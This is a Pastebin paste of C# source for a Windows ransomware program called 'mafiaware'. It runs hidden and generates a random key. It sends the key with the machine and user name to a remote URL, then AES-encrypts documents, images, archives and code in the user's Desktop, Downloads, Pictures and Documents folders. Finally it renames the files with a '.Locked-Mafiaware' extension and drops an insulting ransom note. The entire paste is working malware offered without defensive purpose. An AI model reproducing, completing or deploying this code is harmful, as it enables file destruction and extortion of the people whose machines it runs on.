Advertisement
Guest User

Untitled

a guest
Mar 11th, 2018
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.81 KB | None | 0 0
  1. using System;
  2. using System.Diagnostics;
  3. using System.Collections.Generic;
  4. using System.ComponentModel;
  5. using System.Data;
  6. using System.Drawing;
  7. using System.Linq;
  8. using System.Text;
  9. using System.Threading.Tasks;
  10. using System.Windows.Forms;
  11. using System.Security;
  12. using System.Security.Cryptography;
  13. using System.IO;
  14. using System.Net;
  15. using Microsoft.Win32;
  16. using System.Runtime.InteropServices;
  17. using System.Text.RegularExpressions;
  18. namespace mafiaware {
  19. public partial class Form1 : Form {
  20. //Web untuk Password Unlock nya
  21. string webPass = "https://yourweb.com/cyberking/w00t.php?g0ttrap=";
  22. string namaUser = Environment.UserName;
  23. string namaKompi = System.Environment.MachineName.ToString();
  24. string dirUsr = "C:\\Users\\";
  25. public Form1() {
  26. InitializeComponent();
  27. }
  28. private void Form1_Load(object sender, EventArgs e) {
  29. Opacity = 0;
  30. this.ShowInTaskbar = false;
  31. ngeEnrypt(); //mulai ngencrypt nya pas loading
  32. ngeEnrypt2();
  33. ngeEnrypt3();
  34. ngeEnrypt4();
  35. }
  36. private void Form_Shown(object sender, EventArgs e) {
  37. Visible = false;
  38. Opacity = 100;
  39. }
  40. //Algo encrypt AES256
  41. public byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes) {
  42. byte[] encryptedBytes = null;
  43. byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
  44. using (MemoryStream ms = new MemoryStream()) {
  45. using (RijndaelManaged AES = new RijndaelManaged()) {
  46. AES.KeySize = 256;
  47. AES.BlockSize = 128;
  48. var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
  49. AES.Key = key.GetBytes(AES.KeySize / 8);
  50. AES.IV = key.GetBytes(AES.BlockSize / 8);
  51. AES.Mode = CipherMode.CBC;
  52. using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write)) {
  53. cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
  54. cs.Close();
  55. }
  56. encryptedBytes = ms.ToArray();
  57. }
  58. }
  59. return encryptedBytes;
  60. }
  61. //buat randompass encrypt
  62. public string BuatPass(int length) {
  63. const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/";
  64. StringBuilder res = new StringBuilder();
  65. Random rnd = new Random();
  66. while (0 < length--){
  67. res.Append(valid[rnd.Next(valid.Length)]);
  68. }
  69. return res.ToString();
  70. }
  71. //ngirim pass hasil trap ke web
  72. public void ngirimPass(string password){
  73. string g0ttrap = namaKompi + "-" + namaUser + " " + password;
  74. var fullUrl = webPass + g0ttrap;
  75. var conent = new System.Net.WebClient().DownloadString(fullUrl);
  76. }
  77. //ngencrypt file
  78. public void ngencryptFile(string file, string password) {
  79. byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
  80. byte[] passwordBytes = Encoding.UTF8.GetBytes(password);
  81. //ngehash pass dg sha256
  82. passwordBytes = SHA256.Create().ComputeHash(passwordBytes);
  83. byte[] bytesEncrypted = AES_Encrypt(bytesToBeEncrypted, passwordBytes);
  84. File.WriteAllBytes(file, bytesEncrypted);
  85. System.IO.File.Move(file, file+".Locked-Mafiaware"); //ekstensi hasil ngencrypt
  86. }
  87. //ngencrypt folder
  88. public void ngencryptFolder(string location, string password) {
  89. //ekstensi yang mau di encrypt
  90. var validExtensions = new[] {
  91. ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd", ".zip", ".rar"
  92. };
  93.  
  94. string[] files = Directory.GetFiles(location);
  95. string[] childDirectories = Directory.GetDirectories(location);
  96. for (int i = 0; i < files.Length; i++){
  97. string extension = Path.GetExtension(files[i]);
  98. if (validExtensions.Contains(extension))
  99. {
  100. ngencryptFile(files[i],password);
  101. }
  102. }
  103. for (int i = 0; i < childDirectories.Length; i++){
  104. ngencryptFolder(childDirectories[i],password);
  105. }
  106. }
  107. public void ngeEnrypt() {
  108. string password = BuatPass(15);
  109. string path = "\\Desktop";
  110. string startPath = dirUsr + namaUser + path;
  111. ngirimPass(password);
  112. ngencryptFolder(startPath,password);
  113. pesanReadMe();
  114. password = null;
  115. System.Windows.Forms.Application.Exit();
  116. }
  117. public void ngeEnrypt2() {
  118. string password = BuatPass(15);
  119. string path = "\\Downloads";
  120. string startPath = dirUsr + namaUser + path;
  121. ngirimPass(password);
  122. ngencryptFolder(startPath,password);
  123. password = null;
  124. System.Windows.Forms.Application.Exit();
  125. }
  126. public void ngeEnrypt3() {
  127. string password = BuatPass(15);
  128. string path = "\\Pictures";
  129. string startPath = dirUsr + namaUser + path;
  130. ngirimPass(password);
  131. ngencryptFolder(startPath,password);
  132. password = null;
  133. System.Windows.Forms.Application.Exit();
  134. }
  135. public void ngeEnrypt4() {
  136. string password = BuatPass(15);
  137. string path = "\\Documents";
  138. string startPath = dirUsr + namaUser + path;
  139. ngirimPass(password);
  140. ngencryptFolder(startPath,password);
  141. password = null;
  142. System.Windows.Forms.Application.Exit();
  143. }
  144. public void pesanReadMe() {
  145. string path = "\\Desktop\\READ_ME.txt";
  146. string fullpath = dirUsr + namaUser + path;
  147. string[] lines = { "Pignouf Soirée Manthe baise ta mère j'ai bien crypté tes fichiers" };
  148. System.IO.File.WriteAllLines(fullpath, lines);
  149. }
  150. }
  151. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement